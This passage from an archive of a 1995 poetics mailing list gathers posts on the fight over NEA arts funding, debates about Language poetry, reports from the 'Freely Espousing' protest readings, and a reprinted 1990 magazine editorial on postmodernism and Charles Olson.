Jeffrey Timmons has articulated certain vague apprehensions that I have also entertained in regard to the whole NEA funding controversy. In particular, I have always entertained a certain unease about the funding of individual artists; there is a sense that by allowing the government (through whatever assemblage of artist-advisors brought in to make value judgements, ect) to pick and choose them, that we are perpetuating a hegemonic acceptance of and de facto perpetuation of whatever stylistic movement is deemed to have sufficient cultural currency at any given time.

Rather, I would probably like to see the NEA become an organization dedicated to funding other local organizations, who in turn would support those individuals in whom they find merit. Let The Knitting Factory, the local Urban Institute for Contemporary Arts, and the regional art organizations decide where the federal dollars are spent. Local funding, local control...

Just wanted to put my 2 cents in...

Chris Scheil

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163. **nada**
Re: el cid
Sat 28 Jan 1995

I talked to Cid Corman on the phone a couple of months ago. His current address is

Fukuoji-cho 88
Kyoto 616
JAPAN

↑ Index

164. **braman sandra**
Art Policy in the 90s
Sat 28 Jan 1995

The following more lengthy message articulates in broad brushstrokes what art policy might b e in the 1990s relative to today's policy environment, the postmodern characteristics of our culture, and what it means to be in an information economy. The NEA ain't the only game in town. Sandra Braman

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165. **braman sandra**
Apology -- it didn't work
Sat 28 Jan 1995

Attempt to send art and poetry policy text failed. Sorry to have disturbed you. Iced and snowed out of freely espousing in Milwaukee. Will try again later. S. Braman

↑ Index

166. **Robert Drake**
Re: Espousing Update 1/26
Sat 28 Jan 1995

<deleted musings on NEA as arbiter/bestower of "quality">

> *Rather, I would probably like to see the NEA become an organization dedicatd to funding other local orgaizations...*

so would i, but that sort of thing is _exactly_ what the first round of hearings made clear was unacceptable to congress. they want _more_ control, not less...

and, since i have in the past voiced my own misgivings about the NEA, let me say that Newt Helms & co. do not need my help in bashing any segment of the arts communities, and i hope the Espousing events went well...

luigi

↑ Index

167. **George Bowering**
Re: cienfuegos and socialist realism
Sat 28 Jan 1995

Cienfuegos didnt disappear all that mysteriously. His plane went down somewhere, not all that much to the dismay of the CP adherents who didnt like his barbudo style.

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168. **George Bowering**
Re: apex of the m...
Sat 28 Jan 1995

He meant revolutionary ART,
not art about the revolution.

↑ Index

169. George Bowering
to Mark Wallace
Sat 28 Jan 1995

Did you write a review of Bromige's book from Brick Books? If so, wd you get in touch with me at

[redacted]

↑ Index

170. Chris Stroffolino
reified names vs. boundless vocabulary
Sat 28 Jan 1995

I'm changing the "name" of this debate/discussion--not so much because I necessarily see the issue as more 'real' in an absolute way but it is perhaps more empowering. There are several 'issues' or 'insights' I'd like to 'address'. Tom Mandel's recent post claims "difference is where it's at" and basically I agree. The question then becomes a matter of the debate between the structuralist "Difference between" and the post-structuralist "difference within," a "meta" debate I find engaging. When Tom writes "I want the discourse to proceed at the level of the poetry" he raises the question of the RELATION between poetry and polemics. Eric Pape brings up the "politics is not simply content" but also form and that can be a little too black and white at times. For the example he uses claims that the trouble with Forche is her work in "reactionary forms". Yet, maybe that wouldn't be such a problem werethe work engaged in a more rigorous questioning of the complexities of current political/ideological/economic questions rather than the relatively SAFE poems about World War II, etc. And maybe Kali Tal would argue, but too much VIETNAM poetry seems to do this too... Nonetheless, I do not wish to reject these voices out of hand. And in terms of this i find Leslie Scalapino's comments quite helpful. She considers Lew Daly's appeal to "God" as a too limiting vocabulary and equates it to perelman's rejecting "intuition" but not "thought." And this illuminates but one way in which the L poets (Baby boomers?) and the M editors (gen. x?) are actually quite similar, despite James Sherry's assertion that "The L group (not the CHUBB group] has tried to represent an alternative to such bluntness as antithetical to the complex process of writing..." Yes! However, I can not necessarily totally side with the urge for boundless vocabulary. In the first place, even if i hold it a value to have no taboos in my work and say everything (as it were), there are certain "charecteristic" things I return to often.In the second place this may be as much of an issue of "difference within" as "difference between" (When I first got into poetry in around 1986 I remember going back and forth, dialectically

as it were, between Brecht and Ashbery and i also remember being rather skeptical towards the "times they are a changing" and the "gotta serve somebody" dylan--prefering the more complex "Bringin' It All/Hiway 61" stuff--but then one day it hit me "YES, there is a certain level on which it's BLACK AND WHITE"). I do not claim to solve any of this nor do I mean to come off like some "independent" "third party candidate" with an "open mind" (ever hear the song by MAGAZINE--"My mind ain't so open that anything would crawl in") but I'm curious when Tom (Mandel) writes that a NEGATIVE RESPONSE IMPLIES A CLOSED MIND. In the first place, what IS a NEGATIVE RESPONSE? Don Byrd told me (forgive me if I'm misquoting you Don) that although his last book of poetry was reviewed quite favorably, it wasn't the response he wanted. he didn't think people "got it." Often, so-called NEGATIVE responses show far more engagement with the work than so-called POSITIVE ones. But not always. One last point I would like to flog like a dead horse is the question of Mandel's definition of the identity of himself as a LANGUAGE poet as historical and not card-carrying. Do we define say David Shapiro or John Godfrey, roughly the same age and with many of the same concerns as a good number of the L poets, as LANGUAGE poets--historically. Doesn't this become like the academic co-optation of poets. i had a teacher at Temple who was bent on proving that marianne moore was an objectivist, because she saw herself as an objectivist and began to like Moore. That can be interesting I suppose, but what i'm more interested in at present is what Leslie Scalapino calls "multidinous dark horses."(typo at multitidinous) In what context? Chris...

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171. **BLUOMA**

Re: Espousing back at ya-hoo

Sat 28 Jan 1995

Reply to: RE>Espousing back at ya-hoo

Thanks, all goes well in nuevoyourko. gringos & heathens alike.
when yall comin to town?
BillyDglsMark&Jeff

↑ Index

172. **BLUOMA**

Re: the real language poet

Sat 28 Jan 1995

Reply to: RE>the real language poet

look, the other day i was sitting in this stupid pretend english pub that was less like a real english pub than anyone in hollywood could ever imagine (even the evil eisner), & my head bounced off the fucking floor when i realized that james sherry, tom mandel, & charles bernstein were raking this guy over the coals for writing an article 2 (not one, but 2) YEARS ago about Language Poetry. (& how they weren't that thing.)

FINE--They're not, infact no one except ME ever was.

Yes--I AM THE FIRST, THE ONE & ONLY LANGUAGE POET.

Silliman, Andrews, Bernstein, Hejinian, Harriman, Palmquist, Veal-Scalapino, 1000w Lig htBulb, & Hello Kitty Robinson are all imposters-posers-reactionary posse. (at best PROTO-LANGUAGE poets.) {More precisely, NEO-Door.}

I am THE Language Poet.

Group identification is merely another marketing ploy & the oldest one at that.

-Tony Door
Calabria, Italy
1/29/95

↑ Index

173. **Ted Pelton**
Re: Espousing Update 1/26
Sat 28 Jan 1995

Reply to Jeffrey Timmons re: arts & humanities funding:

First of all, I don't believe that there is a national mood supporting Gingrich & co., but rather that it's manufactured; neither do I believe the country is in terrible financial trouble, as NEA/NEH detractors would have it. Sometimes their manuevers are naked: witness Lynn Cheney testifying against the NEH two years after chairing the agency herself and testifying it should be renewed, and that at a time when we had a worse deficit. But to the point (I could get into an interrelated media and politicians and corporations thing, but it's a rather familiar tune by now), I offer the following quotations: "I believe, as a free society, we need to protect diversity and encourage the exchange of ideas. I regard some recent attempts to cut funding for NEA as attempts at censorship, and at silencing one part of this discussion." "The world leadership which has come to the United States cannot rest solely upon superior power, wealth, and technology, but must be solidly founded upon worldwide respect and admiration for the Nation's high qualities as a leader in the realm of ideas and of the spirit." "Democracy demands wisdom and vision of its citizens. It

must therefore foster and support a form of education, and access to the arts and the humanities, designed to make people of all backgrounds and wherever located masters of the technology and not its unthinking servants." The first quote is from Sen. Russ Feingold, D-Wisconsin. Why doesn't something like this come from Jane Alexander was my question a couple days ago. It isn't outside the debate, but she chose to compromise before the fight began. Conservatives are trying to censor those who stand for values they don't agree with. Values is a word that's been taken over by the Right, as if you have to be a fundamentalist to have values. But things that are happening in Congress right now are deeply offensive to my values -- the right to have an art that functions as critique and antidote to prevailing norms, a neccessity in a democracy. (That much more necessary because the press -- which Madison and Jefferson and co. thought would save us -- have abdicated their adversarial position vis a vis government, preferring a scandal-sheet mentality.) The second two quotes are also from the center, or at least what used to be the center: both come from the original NEA/NEH charter in 1965. I particularly like "masters of their technology and not its unthinking servants." Is it possible that the US Government once produced language like that? Now all the powers that be seem to want are unthinking servants. Thus the endowments are opposed. Who are *the people* we're always being told support this and condemn that? I don't buy what I'm told the people want. Polls are a sophisticated form of lie; similarly, I can structure my lectures to my students so that I see my own phrases coming back to me on tests. But as a part of the people, I'm going to demand what I think the nation should stand for; that first government quote hits home for me -- I'm tired of being known around the world for our endless flow of weapons to the world's thugs, or as the world's biggest thug. James Sherry said something similar the other day: "A nation should support its culture not as a business but as its representative to the world." I could add: others will represent you if you don't represent yourself.

Ted Pelton

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174. **peter quartermain**

Re: Up in smoke

Sat 28 Jan 1995

In message Thu, 26 Jan 1995 12:03:35 EST,

Peter <[redacted]> writes:

Peter Quartermain asks,

Can you please reserve me one dozen copies of #12 at $4.oo each, PLUS TWO complete sets of Oblek #1-#9 at $1.50

each?
I've put a cheque
for $75.00
in the mail but the Canadian Post Office
is sometimes so slow that they might all otherwise
be sold before my cheque reaches you. Thanks.
Peter

(I'd be grateful indeed if you could forward this
message to Connell McGrath. Thanks.

> Connell McGrath is in the process of breaking down the o-blek office
> and asked me to post the following announcement:
> _____
>
> POETRY READERS
>
> o-blek magazine is out of business and I want to pass
> on our overstock to interested readers. They are available
> on a first-come first serve basis at the following rates:
> o-blek /#'s 1 thru 9 & 11 are a $1.50 per book, o-blek/12's
> are $4 per set while they last. These amounts will cover
> the cost of mailing materials and postage. Please help
> me to get these wonderful books into the right hands. Tell
> all who may be interested, buy as many as you like, do it soon.
>
> Respectfully,
>
> Connell McGrath
>
> Send Check made out to o-blek to:
> o-blek
> PO Box 1242
> Stockbridge, MA 01262
> _____
> Please feel free to post this annoucement to other lists or
> to print out and pass on to others. Thanks
>
> Peter Gizzi
>

Peter Quartermain
128 East 23rd Avenue voice and fax [redacted]

Vancouver
B.C.
Canada V5V 1X2
e-mail: [redacted]

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175. Archives Department

Dark Ages Clasp the Daisy Root, Sept. 1990

Sat 28 Jan 1995

[The editors of Dark Ages Clasp the Daisy Root are preparing electronic versions of some of the material from their magazine, which will soon be available at the EPC. This text is provided as introduction.]

Dark Ages Clasp the Daisy Root #4, Sept. 1990

Editorial:

We live at a time in which "modern" no longer makes clear what differentiates the present from the past. Comes instead the prefix "post-," illuminating like a metaphysical truth an age that never did, perhaps, exist, signifying above all our wish to be rid of words that no longer help us speak. What Beverly Dahlen calls "a journey of indecipherables.a way in the cloying dark" defines a relation to history no longer indifferent to language. Fate throws the darkness in our path. We believe that terms, outwitting their applications, charge us with the task of preparing further journeys.

The "ancient confidence" Charles Olson felt when he named himself "POST-MODERN," idiosyncratically, to state that he _did_ belong to something called a "universe," no longer moves us to overthrow estrangement. As long ago as 1950, Olson realized that what is modern is "Man" itself, that "Man's" only means of opposing "himself"--withstanding the brutality of "his" will, the tyranny of a modern logos--is the body, "intact and fought for." Without this ground--without an experience specific to time and place--we are lost. "The _modern_," declared Olson, writing Robert Creeley, "(and we have to push this biz, of the SINGLE I, to undo the modern) does--admit it or not--feel he does _not_ belong to what--just, quick, call it, the universe."

Such "undoing" (a word that recalls the spinning of the Moirai) represents what theologian Mark C. Taylor terms "errant" thought. "Repeatedly slipping through the holes in the system within which it must, nevertheless, be registered," writes Taylor, "such thought is perpetually transitory and forever nomadic." The individual, the single I, given over as one might yield the most useless of properties, to the _properties_ of that "Worth"--a breath that is taken, the beating of a heart no less a fact than the fiction of God by which history is

made and written--insofar as _it is_ given, announces itself as an illusion. This is what the Old Testament called _tselem_: a phantom, a representation, an image.

Held in the procreant hands of time, the postmodern--applying that word as Olson coined it--enters upon the Earthly Paradise so errantly addressed in _Maximus_.

> Man came here by an intolerable way. When man is reduced to so much fat for soap, superphosphate for soil, fillings and shoes for sale, he has, to begin with, one answer, one point of resistance only to such fragmentation, one organized ground, a ground he comes to by a way the precise contrary of the cross, of spirit in the old sense, in old mouths. It is his own physiology he is forced to arrive at. And the way--the way of the beast, of man and the Beast.

If Olson resists the call of God in this, he does so to repossess creation, to mark and insist "that the idea of one god itself is only an extension of the principle, that one man can, by the labor of his life, give light that others can use to have theirs."

Man and woman--in _their_ image, the shadow of divinity, fallen. Is this the apotheosis of what Postmodernism would inaugurate? What other names for our relation to the past, for the burden of our present? _So many stumble / going out of the world_, writes Susan Howe, _word flesh crumbled page edge . . . A question of overthrowing_. No longer indifferent to language, have we become, in our disaffection, our estrangement, unused to other paths, other ways through the cloying dark? Has the brashness denoted by the prefix "post-" become a despair, an intellectual despair, rigorous as geometry?

A journey of indecipherables

A question of overthrowing

For its power, writes Olson, thinking of what he came to call the soul, _is bone muscle nerve blood brain man or woman, its fragile mortal force its old eternity, a stumbling_.

Andrew Schelling & Benjamin Friedlander
September 1990

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176. **Jeffrey Timmons**
Re: Espousing Update 1/26
Sat 28 Jan 1995

I thought Ted's response was pretty right on about the manufacturing of consent (Chomsky?) and I agree with him on this point, but (and this for the sake of sorting this out better for myself) doesn't that idea sort of deny the validity of those that--false consciousness or manufactured consent be it may--honestly hold and feel as strongly about their beliefs? And that's what seems to me to be the issue here: cultural conflict, in the sense that various versions of America are being brought into conflict, that it's being described as a battle, a cultural war, and it's actually taking on more and more shades of division and separation between my America and your's--so to speak. Proposition 187 and the calls for tighter immigration, the Haitian invasion, Newt's defense of American Civilisation, and all the negative reactions to multiculturalism as a weakening of WESTERN CIVILISATION--these all seem to reflect an attitude or a drawing of battle lines or a restratification ... where am I? Or as Emerson said, "Where do we find ourselves?" I think that's what he said . . . The point is, the question I have for Ted is if consent or opinion is manipulated or manufactured does that mean that those that hold those views are embodiments of a form of false consciousness--and does that make us any less subject to alternative forms of that same process from other loci of power? And if--if, mind you--their consent or opinion is not manufactured and neither is ours and we both have--demand--a representation in America of our views how do we mediate these positions. This is only a lame attempt to think about these issues, so don't hold me to any accuracy or clarity in articulating them--they've been hounding me, especially as I've tried to listen over the past few months to conservative points of view in order to understand the arguments. I'm a registered independent, for what it's worth. Anyway....

Jeffrey

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177. **Jeffrey Timmons**
Re: Espousing Update 1/26
Sat 28 Jan 1995

Interested in seeing the text sandra braman alluded to.

Jeffrey

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178. **Tom Mandel**

Re: reified names vs. boundless vocabulary

Sat 28 Jan 1995

---

chris stroffolino can't be serious in thinking that if I'm historically a language poet (I hope this subject goes away soon) then I must mean that anyone else my age is too. I meant my history and that of the others associated with this group.

Anyway, what difference can it possibly make?

it's not whether your mind is open or closed but what is it closes or opens your mind. What makes this the end of a century? a convention. What makes this _late_ capitalism. a convention. what makes this the deadend of a culture? a convention.

the music of alois haba invalidated the theoretical/ critical/historical harmonic judgment theories of schoenberg. work renders theory its meaningful or meaningless place. but haba's music does not invalidate the music of schoenberg. work only underlines the interest, the possibility, of other work - of previous work, of new work.

a discourse in re: poetry that is interesting to poetry is one that adds space for poetry to be made. Adds space. It is in the nature of powerful work, interesting work, fabulous work, to provide more not fewer places for next work to take off from. Hence, "a fundamental break with the past" is a marketing term with meaning if you want to rev your network, but of no interest to long scope activities like poetry. a connection with the past is no different from a connection with the future. This is the reason it is possible for poets like Duncan or Mandelstam to write about Dante in ways that unveil new possibilities for poetry.

tom mandel

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179. **Jeffrey Timmons**
Re: Funding Arguments
Sat 28 Jan 1995

I agree with Robert Drake that it's not a rational issue at all. It seems very weird to me (or par for the course) that the smithsonian exhibit has taken so much flak (ha) for daring to challenge the conventional wisdom of the enola gay. Conventional, not informed opinion, apparently. And isn't this what it comes down to, that history, politics, poetry are empty--essentially (were there such a thing)--and that we and everyone else realizes this and that we are contesting who gets to define and represent such things as Hiroshima and the dropping of the bomb to ourselves? I share robert drake's pessimism, particularly when it comes to being able to negotiate competiting histories. More to say, always more to say, but not more time to say it . . . .

Jeffrey Timmons
PS--sorry about the weird posting

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180. **Tom Mandel**
Re: the real language poet
Sat 28 Jan 1995

Luoma - henceforth and immediately : stop stealing my ideas
and if you are going to steal them, please present
them in boring ways. If you continue in your
present mode, you will only bring credit upon
yourself.

mandel
a period alone at the margin on a line by itself

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181. **Jeffrey Timmons**
Re: reified names vs. boundless vocabulary
Sun 29 Jan 1995

On Sat, 28 Jan 1995, Tom Mandel wrote:

> *a discourse in re: poetry that is interesting to poetry is one that adds space for poetry to be made. Adds space. It is in the nature of powerful work, interesting work, fabulous work, to provide more not fewer places for next work to take off from. Hence, "a fundamental break with the past"*

> *is a marketing term with meaning if you want to rev your network, but of no interest to long scope activities like poetry. a connection with the past is no different from a connection with the future. This is the reason it is possible for poets like Duncan or Mandelstam to write about Dante in ways that unveil new possibilities for poetry.*

Invalidated schoenberg? Hm. Long scope? Yeah, ok. And, well, a connection with the past is different than a connection with the future, but connection is the important thing. As with capital so with poetry, there is no out; and that's ok. Eliot discusses this in Tradition and the Individual Talent; it's really also Bloom's argument in any number of places where he takes about revisionary ratios and misreading, la, la, la.... And tom, if I read this right, is right: marketing strategy, but not useful. Tradition, if only to empty it out.

Jeffrey Timmons

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182. Jeffrey Timmons
Re: reified names vs. boundless vocabulary
Sun 29 Jan 1995

Tom Mandel wrote:

> *work renders theory its meaningful or meaningless place.*

Ok, how is theory not work? Freud said writers had said all that he said before and better (rough paraphrase, I assure you) than he--is this the difference between theory and work? In a sense, then the poetry is no less theoretical. I missed the schoenberg is not invalidated--but tom had it the other way as well--schoenberg is invalidated. " I contain multitudes . . . ."

Jeffrey Timmons

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183. Ron Silliman
NEA & Randy Cunningham
Sun 29 Jan 1995

The individual most likely to determine whether or not the NEA survives in 1995 is a GOP Congressman from San Diego, Randy (Duke) Cunningham. Every writer (and, indeed, artist) in California needs to contact this dude and

let him that his future as a statewide politician may hinge on the House reauthorizing the NEA.

Others with less strategic, but nonetheless critical, roles include Congresspeople (I believe they are all men actually) Livingston of Louisiana; Bill Goodling of Gettysburg, PA; Kasich of Columbus, OH; Regulia of Canton, OH; Gunderson of Wisconsin (the gay member of the GOP); Rukema (of where?) and Castle of Delaware.

Not one of these folks has email.

These are the key players according to Eliot Figman of Poets and Writers & Jim Sitter of CLMP, with whom I met today. Both have been accompanying Gigi Bradford, the lit director of the NEA, on a tour. (Bradford s constrained by her position from discussing such matters, although she was quite enthusiastic about the Freely Espousing events.)

Figman & Sitter believe that, with Kassabaum (I m probably misspelling a lot of these names, but I m working fast late at night) and Jeffords both supporting the Endowment, the votes exist in the Senate for the NEA, but that House is much more problematic.

Here s why: for reasons of parliamentary procedure, the NEA needs to be blessed by three separate processes in each house this year. It must first receive authorization from each house. It must also receive an appropriation. And the budget must leave enough room in the general category for the appropriation to be budgeted. The first two processes are especially important, since the third can happen through a number of different scenarios.

If the Senate authorizes and the House does not, it goes to conference committee. In such a circumstance, the bill is not conferenceable, meaning that you can t half authorize it. It s all or nothing. So the Senate version would have to win out in conference. The exact same scenario applies for appropriation. If the House fails to authorize and/or appropriate and its version wins in either conference committee, then the NEA is kaput. On the budget bill, there s much more room for raising and lowering sums and jockeying around between categories.

This means that the chance of the NEA of surviving is at best one in four.

Randy Duke Cunningham chairs the House committee that is charged with authorizing (or not) the NEA. To give you an idea of its centrality to that committee s purpose, it s the Early Childhood, Youth and Families subcomittee (of Ways and Means?).

Goodling chairs the committee that it reports up to. So that s his role. Regulia and Livingston are keys in the appropriation bill. My notes are not clear on the

committee that Gunderson, Goodling, Rukema and Castle all sit on, but it may be budget.

I don t know if Cunningham is a pure opportunist reactionary (as is Newt Gingrich, a man who once co-authored a bill to legalize marijuana for cancer patients), a true believer libertarian type (a la Barry Goldwater), or a not wrapped too tight dingbat (a la John Briggs, Michael Huffington, Bullet Bob Dornan and Sonny Bono), but that tends to be what the Southern California GOP serves up. In this case, opportunism is good. If Cunningham wants to go onto a larger stage later (for example, Pete Wilson was once mayor of San Diego, a very weak position from the point of view of formal power, and now he s got a 50-50 chance of being on the 96 national ticket for the GOP). Every California Republican expects to be president someday. But the arts play a major role in California, both commercial and nonprofit. And failing to authorize the NEA is one way to get identified as an ideologue. He could "authorize" the NEA without voting for its appropriation, for example, and accomplish some real good.

We need to let him know that this is a high-profile issue and that he is being watched closely. Can anybody in San Diego give us more details?

I should note that last time the NEA came up, Cunningham voted against its appropriation and went so far as wave a check for $2,000 to the San Diego Symphony (I m not certain that that was the agency), saying that this is how the arts deserve to be funded. Gingrich copied this gesture this year right down to the dollar figure (his donation was the Corporation for Public Broadcasting).

If the NEA gets authorized in both houses, but appropriated only in the Senate, its chances of making it through the conference committees is much better. So Cunningham is the key.

I should note that I share a lot of the same reservations about the NEA that just about every poet has, certainly every progressive poet. But I agree with Luigi Bob completely that we should not aid Helms, Gingrich et al by airing those problems at an inopportune moment. I d rather communicate those directly to the folks at the NEA (and I have, from time to time). The lit program receives 16.85 percent of all applications at the NEA, even tho lit gets only 3.05 percent of the program's funds. I too have doubts over the Lit Program's commitment to funds for individuals over programs (it has the highest percentage of funding for individual artists of any NEA program). However, I noted that seven of the current winners (there were just 37) were writers I read and pay attention to. Frankly, just under 20 percent's not that bad.

Maybe Jack Krick or someone can get us the phone and fax #s for these people. Let's do it!

Ron Silliman
[redacted]

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184. **Spencer Selby**
Re: reified names vs. boundless vocabulary
Sun 29 Jan 1995

A lot of this discourse is interesting, but I question whether it leads to many of the values being alluded to for the work. This discourse does not proceed at the level of the poetry. I don't believe it. Nor do I believe much space is being added for this different, fabulous work, this dark horse that may be too dark to recognize or see. Spencer Selby

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185. **BLUOMA**
Re: Re- the real language po
Sun 29 Jan 1995

Reply to: RE>Re: the real language poet
Re>> Luoma - henceforth and immediately : stop stealing my ideas
and if you are going to steal them, please present
them in boring ways. If you continue in your
present mode, you will only bring credit upon
yourself.
<<

Fortunately or unfortunately, Tony Door is Dougy Rothschild MD, who was a guest on my account.

Bill Luoma
[redacted]

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186. **BLUOMA**
Re: Re- the real language po
Sun 29 Jan 1995

Reply to: RE>Re: the real language poet In 1989, the Sixth District Court of the United States ruled in the case of Jeffery M. Masson vs. Janet Malcolm & The New Yorker that, "Fabricated quotations do not prove actual malice." {This decision was later over turned.} [sic]

The information gathering sources which i have employed for the past few years seem to be defective. Previously they had informed me that Mr. Charles Bernstein was at an unspecified drinking establishment speaking on the weather or knots of language poetry. Further inquirey has re-veal-ed that he was not. My sincerest apologies to Mr. Bernstein. There was indeed a third party at the poetics-fest; it was, however, NOT Charles Bernstein.

Tony Door
out on a canal
Venice, Italy
30/1/95

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187. Steven Howard Shoemaker
Life Supports
Sun 29 Jan 1995

Thanks to everyone who responded w/ suggestions for getting hold of the Bronk volume. Seems like i shld be able to scrape up a copy one way or another...

steve

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188. Chris Stroffolino
Re: reified names vs. boundless vocabulary
Sun 29 Jan 1995

Dear Spencer--Yes, immediately after sending my "contribution" to this discussion I felt like I wanted to retract--not so much everything I said as the way I said it. Agitation. Agitation. Oh what good does any of it do. In fact I was considering asking to temporarily cancel my subscription to this list, since it's taking up way too much of my psychic energy and is frustrating. To OVERDOSE on polemics, etc. Instead, I will try to hold myself to avoiding getting caught up in such argumentative vortexes. But will others do it? I guess it doesn't matter who started it. It was probably Tony Door disguised as Nils Ya disguised as Saint Geraud disguised -----BUT, then, Spencer, I'd like to ask you to help me with something... If we (and I think we're similar in this) want to get the discussion here in this email forum to be more like poetry, HOW can we go about doing it? Should we send rough drafts of poems to each other over email? Would that work? I'm considering it. Any other ideas? I'm certainly "open." Chris

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189. **eric pape**
Re: CALL FOR A DECISIVE BREAK WITH THE PAST (NURTURE THE APEX)
Sun 29 Jan 1995

How can there be a decisive break with the past when the past is neither decisive nor is the break? I have two responses to Lightman which I have been thinking about a lot this weekend and I'm going to sound pompous as hell but that hasn't stopped me before and it only proves I am interested. First, the manifesto. This is not a break at all with the past and it in fact repeats old conflict. It in fact only sees those conflicts that have been handed down to it from, where, the past? Freud and Jung? Not really interesting anymore. Lacan and Butler would be perhaps a little more interesting. Maybe. Irigaray and Steinem? Who? What about Sedgewick and Wittig? Derrida? Which Derrida? Where's Bhabha, Haraway, Acker? My point is not to parade a list of names, but to demonstrate how much this list seems determined by a past that is not at all broken with. Nor should it.Nor can it be. Not that there isn't anything of interest in both the manifesto and to a greater extent the work. There is the possibility of great confusion which seems interesting. I'm interested in the reference to Gaiman. It seems to me that there may be room for a messier poetics to come. Not sure this is it, but may be a proper direction. When I think of L school poetry and poetics, I think of a very pure poetry, in its engagement of its materials. Could be a legitimate response to muddy up the waters. But if there is going to be this Jung stuff, then forget it frankly. There is a lot more interesting things happening out there and a return, and I do mean return, to crypto-fascist mysticism instead of say a hybrid (to jargon bait a little) form of cultural community won't be able to compete. There may be something to this, and its probably not fair to judge a movement on the basis of one guys work over an impersonal medium, but I think it is important to be very very aware of the past, to break with or to build with. And I believe also that the difference between mainstream poetry and avant-oppositional-experimental-whatever poetry is how well it is theorized. Mainstreamers don't bother to do that at all and as such, they are just not that interesting. Thus it'scrucial for any movment to compete theoretically as well as poetically. To pick the right voice. Thanks, Eric ([redacted])

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190. **eric pape**
Re: reified names vs. boundless vocabulary
Mon 30 Jan 1995

Chris, Spencer and all: I understand the frustrations and the anxieties very well. I've just got on the list not too long ago and already I've been in more wars

then I can remember. Probably my fault, certainly, but what I want to say is that I think these have as well as being stressful been very stimulating. I've been forced to think about poetry and poetics thanksto Chris and Tom, and Ron and Steve, in ways I would never have before. Brecht-like, I say, you've made me think and I don't think that is a bad thing. I think the list is doing what well what it should do. Thanks, Eric ([redacted])

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191. John Geraets

Langusage

Mon 30 Jan 1995

When words stop being logical they sound like this.

Breath usually is quite nice because it isn't outlined.

John Geraets
[redacted]

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192. Evans/Moxley

Espousing Update 1/30

Mon 30 Jan 1995

A quick overview of what transpired on 1/28:

*We estimate that 500 people turned out for Freely Espousing events on Saturday. (This figure does not include the many people who attended Woodland Pattern's benefit reading in Milwaukee.)

*While it is difficult to estimate the amount of mail generated, we do know that between New York City and Providence at least 150 letters and 250 postcards were generated. Actual numbers for the combined events are probably safely estimated at somewhere around 700 pieces of mail. In our push to Outwrite the Right, we made a good start.

*Here in Providence, we had sympathetic coverage from the Providence Journal. A substantial article appeared in the Sunday ProJo entitled: "Writers gather in Providence to fight cuts in Endowment" (by John

Castellucci, 29 Jan 95: B3). Rather than focusing on our "big name" speakers, Castelluci reported on the small press crowd: the Waldrops, Jennifer Moyer of Moyer Bell, Peter Gizzi, Lee Ann Brown, and Sianne Ngai were all cited. The article closed with words from Keith Waldrop's _Potential Random_!

Jena Osman reports that at least two Buffalo t.v. stations covered her event, and WBFO (the NPR station there) has run two pieces on the event.

Cole Heinowitz expects coverage of the San Diego event in today's San Diego Union.

On a more modest note, Brown's campus daily is beginning a three part series on FE and on the right's attack of federal arts funding more generally today.

*We have compiled field reports from the various sites and we hope to have time, by late today, to post again with info about the specific shape the various programs took.

*As one of our organizers remarked, making sure Saturday's events went smoothly was like "tending a wildfire." To all the people who so tended, our very deep thanks.

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193. I.LIGHTMAN

Re: CALL FOR A DECISIVE BREAK WITH THE PAST (NURTURE THE APEX)

Mon 30 Jan 1995

Hi Chris,

I just got the Dec issue of Poetic Briefs in the mail from Elizabeth: it and your own response to my posting are reasons why I'd like to get to a continent where I can write to, meet and telephone some people who've read the same books with the same mix of part enthusiasm part reservation and thresh that all out till we write our way into new ways forward. Perhaps the worse the state of the U.S., the more the writers will be shook up to write better?

Ira

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194. **I.LIGHTMAN**

Re: CALL FOR A DECISIVE BREAK WITH THE PAST (NURTURE THE APEX)

Mon 30 Jan 1995

Eric Pape is missing my point but, ah well. For what it's worth, I know some history, and I have read all the writers Eric Pape mentions, could indeed argue out reasons against each, mainly covered by my point "non-Freudian not neo-Freudian post-structuralism, if any", which was in the manifesto. The line before my line about "Jung not Freud" sets what I meant: the utterly rationalist, that's religious therefore dumb, line pervades everywhere in Language Writing and indeed on POETICS. "Jung rather than Freud", if you want. So many buy into Freud, and not into Jung even a little; fascist connections don't make the rest of Pound unreadable, and not Jung either; Freud's connections with countless molesters of children should rule him out totally of consideration by the same logic, but I don't like the logic, applied to Jung or Freud. If you look, Eric, at the start of Lacan's ecrits, you will see he raises exactly my point, that Freudians attack religion but are not religious. I thought I'd make the point without explicit reference to Lacan, as Lacanians would get it anyway (some hope). You've also missed everything I said about painting and music. Ah well.

Ira Lightman

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195. **Ted Pelton**

Re: Espousing Update 1/26

Mon 30 Jan 1995

Jeffrey, Let me know if you find anything interesting in your forays into contemporary conservative political thought; to my mind, an anti-immigrant movement or a desire to keep the U. S. culture pure means no more today than it did when the Know-Nothings tried it in the 19th century. I don't consider fear of the unknown a viable or useful political or cultural philosophy.

I, like Ron Silliman, find that many writers I read have gotten individual awards (not to mention benefitting from funded presses, mags, etc., through the pittance given the lit program). That's a good thing, to my mind, which is the only one I can speak for. *The People* (some say) don't find their values represented in NEA/NEH funding decisions. I don't believe that. Let's give the NEA and NEH bigger advertising budgets so they can circulate their truths. Then we might be able to talk about it. In the meantime, I distrust anyone who claims to speak for American values (Chomsky does read this well, I agree); the main American value I personally see as having come out of the recent elections is that the overwhelming majority of citizens lead private lives very distant from

the machinations of policy-making and choose not to participate (or at least don't actively seek to vault the blocks preventing their participation).

Generally speaking, I think that it's in the interest of a healthy state to help support an avant-garde that will question the values the state puts forth as mainstream. A state that becomes intolerant of and seeks to eliminate such non-mainstream voices is, to my mind, that much less healthy. When cost of such programs is called a main issue and we're talking about 65 cents a person, then the distortions have reached an obscene level to my mind. I resist the current rhetoric that persists in such mislabelling under the umbrella of traditional values. My own values are insulted. You may be right, it may be cultural war, but I know what side I'm on if that's true (and so do you, I'd suspect).

Ted Pelton

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196. Stephen Ratcliffe
Gertrude Stein
Mon 30 Jan 1995

"Listening and Talking at the Same Time": Gertrude Stein at Mills College. October 26-28, 1995, the 60th anniversary of Stein's appearance on the Mills campus in Oakland, where she delivered her lecture "Poetry and Grammar" to 500 students and faculty in the Music Hall, after having learned there isn't any there there). Inquiries/proposals for papers/readings to Stephen Ratcliffe, Mills College, Oakland, CA 94613. [redacted]. [redacted]

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197. Stephen Ratcliffe
Re: sign
Mon 30 Jan 1995

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learned about Poetics List via letter from Juliana Spahr, who suggested not only its interest (indeed) but possibility I might "notice" Avenue B books to those in group who might be interested. Hope to do get to that (having seen Peter Gizzi's similar announcement re: o.blek. Look forward to seeing you Charles here next week. Stephen Ratcliffe

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198. **eric pape**
